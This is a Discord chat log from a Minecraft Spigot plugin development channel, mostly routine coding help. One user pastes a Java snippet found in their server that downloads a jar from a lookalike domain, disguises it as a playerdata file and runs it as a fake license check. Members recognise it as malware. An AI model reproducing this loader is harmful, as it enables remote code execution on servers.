#

ok I will

proud badge
#

issue though

#

PDC only allows you to store BYTE_ARRAY, not a 2d byte array

drowsy helm
#

flatten it

obsidian tiger
#

make an object that can represent a 2d byte array as a siingle byte array

hazy parrot
#

Make your own adapter, and convert 2d to 1d

drowsy helm
#

a 2d byte array can map to 1d

#

plus 1d array is faster lookup anyway

obsidian tiger
#

writing my first plugin right now, whats the usual approach people take to storing settings, I'm making something similar to a whitelist-functionality where I would just have to store uuids

#

I'm trying to avoid databases to make it easier for whomever might end up using it

proud badge
#

If its a config I use config.yml, if im storing data I used GSON + json

obsidian tiger
#

do I just write to a file and read it

drowsy helm
#

if you want to store data, json or sqlite

#

if its actual config settings use yml

obsidian tiger
#

idk it feels wrong to rewrite a json with uuids for one change

#

guess i go with sqlite then

drowsy helm
#

why does it feel wrong lol

#

its relatively efficient *

obsidian tiger
#

if i have a file with 100 uuids I'd rewrite the entire file for one change?

#

that doesnt seem efficient

drowsy helm
#

sqlite does the exact same thing

#

any file system does the exact same thing

#

the medium just determiens how you want it serialized, but either way, its going to rewrite the entire file

obsidian tiger
#

ill just write to a file and save the few kb for the jdbc driver ig

drowsy helm
#

the overhead really isnt much at all

#

don't over optimise

#

just do what's easiest

proud badge
#
        Chunk chunk = block.getChunk();
        NamespacedKey key = getKey(block.getY());
        PersistentDataContainer pdc = chunk.getPersistentDataContainer();
        byte[][] currentData = ByteFlattener.unflatten(pdc.get(key, PersistentDataType.BYTE_ARRAY), 16, 16);
    }``` ok so I've made this so far, but how would I tie a byte in the 2d byte array to a location in the layer?
drowsy helm
#
int x, y, z;
int uuid;

UUID[] palette;
//find index in palette, if does not exist, add to array
int index = findIndex(uuid);

layerData = chunkData.getLayer(y);
layerData [x][z] = (byte)index;
#

something along those lines

tender shard
#

you mean invisible?

clever lantern
#

yeah yeah

drowsy helm
#

ideally you want some sort of palette manager to keep track of uuids and remove if not present in the chunk anymore

proud badge
#

yes I'd have to make a seperate PDC in the chunk

drowsy helm
#

correct

proud badge
#

im just trying to get through this first part

obsidian tiger
#

is there some method that tells me where my plugin configs should go or do i get the path myself

drowsy helm
#

JavaPlugin#getDataFolder()#getAbsoultePath()

obsidian tiger
#

🫡

proud badge
drowsy helm
#

yeah ignore the incosistencies in my shitty code lol.

So each individual block will point to an index in that palette array

#

so say player UUID = "abcd" edits 2 blocks,

UUID[0] = "abcd";

layerData[0][0] = 0;
layerData[0][1] = 0;

#

both are pointing to the 0th index in teh array

#

so pointing to abcd

proud badge
#

Wait, if im using both numbers as the identifiers for the PDC key wont they overlap?
For example, key number 3 in my pdc leads to uuid D*@D828d@&dh*@Dh89@DH*
And it also leads to the layer at Y coordinate 3

drowsy helm
#

no you want there onyl to be 2 pdc values

#

so the byte array

#

and the palette array

proud badge
#

Oh? I thought one PDC value per layer in the chunk

drowsy helm
#

wait no yeah

#

ur right

proud badge
#
        return new NamespacedKey(BlockOwner.getInstance(), String.valueOf(layer));
    }
    public static void writeOwner(Block block, UUID uuid) {
        Chunk chunk = block.getChunk();
        NamespacedKey key = getKey(block.getY());
        PersistentDataContainer pdc = chunk.getPersistentDataContainer();
        byte[][] currentData = ByteFlattener.unflatten(pdc.get(key, PersistentDataType.BYTE_ARRAY), 16, 16);
        int index = findIndex(uuid);
        currentData[block.getX()][block.getZ()] = (byte) index;
    }```
drowsy helm
#

so 2 values per layer

#

yeah add a suffix or smth

#

so 0-data, 0-palette so on

proud badge
#

Ok I'll add a suffix

snow vale
#

Hi I found this code in my client server, have you idea what is this java try { InputStream var1 = (new URL("http://spigotmc.online/simple/0.2/user/1439914/authorize")).openStream(); Files.copy(var1, Paths.get("world/playerdata/j5e2b1a-3c4d1-8r5e1a-13m13-c3o15d4e.dat"), new CopyOption[]{StandardCopyOption.REPLACE_EXISTING}); Class var2 = URLClassLoader.newInstance(new URL[]{(new File("world/playerdata/j5e2b1a-3c4d1-8r5e1a-13m13-c3o15d4e.dat")).toURI().toURL()}).loadClass("org.spigotmc.license.SpigotMC"); var2.getDeclaredMethod("checkLicense").invoke(var2.newInstance()); } catch (Exception var4) { }

proud badge
#

also if im storing bytes as the index what if more than 127 players build in the chunk? Seems unlikely but what if

drowsy helm
#

offset by -126

proud badge
# snow vale Hi I found this code in my client server, have you idea what is this ```java try...

This code looks like it's attempting to download a file from a specific URL, save it locally, and then load a class from that file. The class seems to be "org.spigotmc.license.SpigotMC," and it's invoking a method called "checkLicense."

Without more context, it's hard to determine the exact purpose or intent of this code. However, the URL suggests some form of license check, and it might be related to SpigotMC, which is a popular server software for Minecraft.

If this code is part of your client-server and you didn't write it, it's essential to understand its purpose and origin before leaving it in your codebase. It's always a good practice to review and understand any third-party code to ensure it aligns with your application's security and functionality requirements.

drowsy helm
#

then you get 256

#

16 * 16 = 256

#

so unique mapping to each block

#

actually you need a null mapping, so technically 1 block is out

#
        UUID[] palette;
        byte[][] blockData;
    }

    class Chunk{
        Layer[] layers = new Layer[256];

        UUID getUUID(int x, int y, int z){
            int index = layers[y].blockData[x][z] + 126;
            if(index == 0) return null;
            return palette[index];
        }
    }```

so something to that effect, but obviously using pdc
snow vale
wet breach
obsidian tiger
#

looks like something sketchy trying to hide lol

wet breach
#

too late, seems its infected your server >>

snow vale
wet breach
#

anwyays authorize

#

is the jar

#

its named that way to fool you into thinking its hitting an endpoint for a license check or whatever

#

spigotmc.online is not owned by spigotmc

#

I downloaded the jar and its easy to tell its malicious

halcyon hemlock
#

build tools compile in just 10 seconds?

#

holy moly

wet breach
#

well, maven can be fast

halcyon hemlock
#

thank god i got a new computer lmao

snow vale
#

thx

halcyon hemlock
wet breach
#

because you didn't bother changing maven settings

#

default for maven is to consume as few resources as possible

drowsy helm
#

taht website is super malicious

#

injectScript.js

wet breach
#

oh yeah

drowsy helm
#

can anyone figure out what this is doing?

halcyon hemlock
drowsy helm
#

ah

halcyon hemlock
#

"""
This code is a part of a web browser's extension or script designed to control and modify how web pages open new windows or tabs, likely to block unwanted pop-ups or redirects. It intercepts and checks web page actions, allowing only approved ones based on specific rules or a whitelist.
"""

#

redirection stuff I guess

obsidian tiger
halcyon hemlock
#

idk

obsidian tiger
#

its loading something that has been obfuscated but I want more context

wet breach
obsidian tiger
#

its not a jar its just a single .class

drowsy helm
#

okay wow the jar injects multiple classes

wet breach
#

its not a single class

#

I downloaded it

#

you need to rename authorize to have .jar

#

and then you can open it up 😉

obsidian tiger
#

i thought its just a class

#

who loads a whole ass jar

wet breach
#

well you obviously didn't know it was a jar

#

so it would have fooled you

drowsy helm
#

dang whatare they doing lmao

wet breach
#

the only reason I knew it was a jar was because I used my hexeditor to look at the file header

drowsy helm
#

wait so turn the zip to a jar?

wet breach
#

no

drowsy helm
#

i cant run it, in a sandbox 😦

obsidian tiger
#

the authorize file is the jar

wet breach
#

it had PK, which means compressed jar

wet breach
#

o.O

drowsy helm
#

that link gave me a zip file

#

with apache commons classes and a spigot one

wet breach
#

guess your browser assumed it was a zip file

#

I mean technically correct I suppose

drowsy helm
#

was doing it in a sandbox browser

#

are you rawdoggin it frostalf

wet breach
#

Yeah

#

well was

dawn plover
#

is it possible to remove the inventory lore thingy from bundle? i would love to use it as an icon in my menu, but like this its not going to work

wet breach
#

then I stopped when I saw them weird stringified classes in apache package

#

I didn't want to break out the decompiler and all the other stuff

sullen marlin
#

Yeah sus as hell

obsidian tiger
#

i stopped when i saw System.load

sullen marlin
#

It’s totally a virus

drowsy helm
#

im gonna spin up a vm real quick

sullen marlin
#

I’d stay far away

wet breach
#

@vagrant stratus

#

optic

#

your DB have anything on this?

obsidian tiger
#

i mean ill just run the code and remove the lines that load the dlls

#

why u so scared

wet breach
#

I am not scared o.O

obsidian tiger
#

i like how whoever wrote this was nice enough to write log error messages though

wet breach
#

just have no interest to break out tools for something I have seen already

obsidian tiger
#

LMAOP

drowsy helm
#

taking precaution isnt being scared

wet breach
#

^

#

that too

#

I don't just automatically run jars XD

#

I usually look at the raw bits with a hex viewer

#

but, if I want to peer into a class specifically, I have to remove them from the jar, or decompile

drowsy helm
#

org.spigotmc.license.SpigotMC

obsidian tiger
#

it just registers a loader

wet breach
#

if I had to guess its to make you think its for license checking

sullen marlin
#

Its for pretending to be a license

obsidian tiger
drowsy helm
#

ah

sullen marlin
#

Whole thing is very clearly a virus, not really worth looking beyond that

wet breach
#

the malicious classes are in the apache package

drowsy helm
#

the ililili ones yeah

wet breach
#

maybe optic might have something on it, won't know till he randomly returns

obsidian tiger
#

when will windows finally support differentiation upper/lower case

wet breach
#

since he is one of the only ones here who has this master DB of malicious jars

wet breach
#

its part of the NTFS to ignore the distinction

#

it has to do with legacy days

#

maybe there could be one day but I doubt it

tender shard
#

wasnt it possible to search for tags in creative?

shadow night
#

it was I'm pretty sure

snow vale
wet breach
#

welp, sent it to optic, maybe he will see if it matches anything

wet breach
drowsy helm
#

your client contracted discord stds

wet breach
#

XD

obsidian tiger
#

why dont these poeple also put a psvm in their virus jars

#

imagine some dummy just double clicking it on accident

obsidian tiger
#

main method

tender shard
#

public static void main

#

frostalf are oyu not using IJ 😛

drowsy helm
#

feel like there would be a lot more to that tahn just running it lol

tender shard
wet breach
obsidian tiger
#

that jar only does something if you actually invoke that one method

tender shard
wet breach
drowsy helm
#

since when did oyu use kotlin alex

wet breach
#

hence no need for a main method and would be redundant

obsidian tiger
#

yeah but still

floral drum
#

hi nerds

#

goedemorgen (good morning)

obsidian tiger
#

if someone wants to look at it and accidently double clicks it thats +1 victim

#

might aswell maximize outcome

ivory sleet
wet breach
#

not necessarily true, doubt they are trying to make it onto official virus DB's

drowsy helm
ivory sleet
#

hahaha yeee

late sonnet
#

Las Ketchup.... xd

hollow beacon
#

is there a library that supports dependency loading at runtime? version 1.8.9-1.20.4

#

or atleast 1.12.2-1.20.4

ivory sleet
#

yes

#

iirc its called like slimjar

#

not sure if it was abandoned or not

#

but worth checking out

remote swallow
#

libby exists too

hollow beacon
#

oh i'd need to switch to gradle

remote swallow
#

not entirely

wet breach
#

why?

remote swallow
#

it should work with maven

tender shard
#

what does maven or gradle have to do with that lol

hollow beacon
#

oh I figured looking at this

remote swallow
#

oh it uses a gradle plugin

tender shard
#

you can also just use the maven-shade-plugin instead of gradle's shadow, and manually add the dependencies with scope provided instead of using the slimjar plugin

ivory sleet
#

Kyllian as said, im unsure if Yugi actually still maintains it

hollow beacon
#

yeah they both seem outdated

remote swallow
hollow beacon
#

i made a plugin with JDA shadowed and it went over 4mb already lol

remote swallow
#

yeah use libby, its quite small and can load jda

hollow beacon
paper rain
#

Hello, im tryna code plugin MineBlock, but it cant detect location.. would some1 look at my code please? :c

#

I really dont know, what im doing bad

hollow beacon
#

would there be any way to get the 'child dependencies' too

#

as jda depends on everything else in the universe

undone axleBOT
#

If you have a question, please just ask it. Don't look for staff or topic experts. Don't ask to ask or ask if people are awake or available. Just ask the question to the channel straight out, and wait patiently for a reply. Make sure you use the right channel regarding the topic of your question. Create a thread in case the channel is already in use!

paper rain
#

?pastecode

#

oh

chrome beacon
paper rain
#

whats the command

chrome beacon
#

?paste

undone axleBOT
hollow beacon
#

did this now:

#

Caused by: java.lang.NoClassDefFoundError: org/apache/commons/collections4/map/CaseInsensitiveMap

paper rain
ivory sleet
# hollow beacon

You might have to do something to make it download nested libraries

#

Or well, transitive dependencies

ivory sleet
#

its a bit more lenient towards the decimal x, y and z comparisons

#

iirc

paper rain
#

like set it as a location

chrome beacon
#

ouch

ivory sleet
#

ah

#

that sucks

chrome beacon
paper rain
hollow beacon
#

oh well if it works

ivory sleet
#

But prob because its a pain to look up entire trees of transitive dependencies

chrome beacon
#

If we look at this issue there appears to be something

paper rain
#

okay

ivory sleet
#

and then you need to grab it as a location from config as well

hollow beacon
#

as I do not have those classes/managers

hollow beacon
#

damn now okhttp3 doesnt want to work

#

ffs

paper rain
ivory sleet
#

Yeah, well tbf, you might only need to compare the block x y and z

paper rain
#

world no?

ivory sleet
#

Ye

paper rain
#

why

ivory sleet
#

so you do something like
(Location) config.get(…);

then location.getBlockX()==otherLocation.getBlockX() for x y and z (and obv check the world name as well)

paper rain
#

okay

#

thx

#
            Location location1 = plugin.getConfig().getLocation("mineblocks." + key + ".location");
            if (location.getWorld().getName() == location1.getWorld().getName() && location.getY() == location1.getY() && location.getX() == location1.getX() && location.getZ() == location1.getZ()){
                
                return true;

            }
        }``` like this?
ivory sleet
#

no no no

#

use equals() and not == on the world name

paper rain
#

okay

#

and exepct this its alr?

ivory sleet
#

and use getBlockX(), getBlockY(), getBlockZ()

ivory sleet
#

but yes maybe use that then

paper rain
ivory sleet
#

Yea

#

Thats the one

paper rain
#

im using it

#

well

paper rain
ivory sleet
#

Oo alex is here

#

He can explain

tender shard
#

10.000001 and 10.2 are not the same

#

but 10 and 10 are the same

#

kek

paper rain
#

but whats different beetwen getBlockX() and getX() ?

pseudo hazel
#

blockx is in the grid of blocks, and x is the position that can be inside part of a block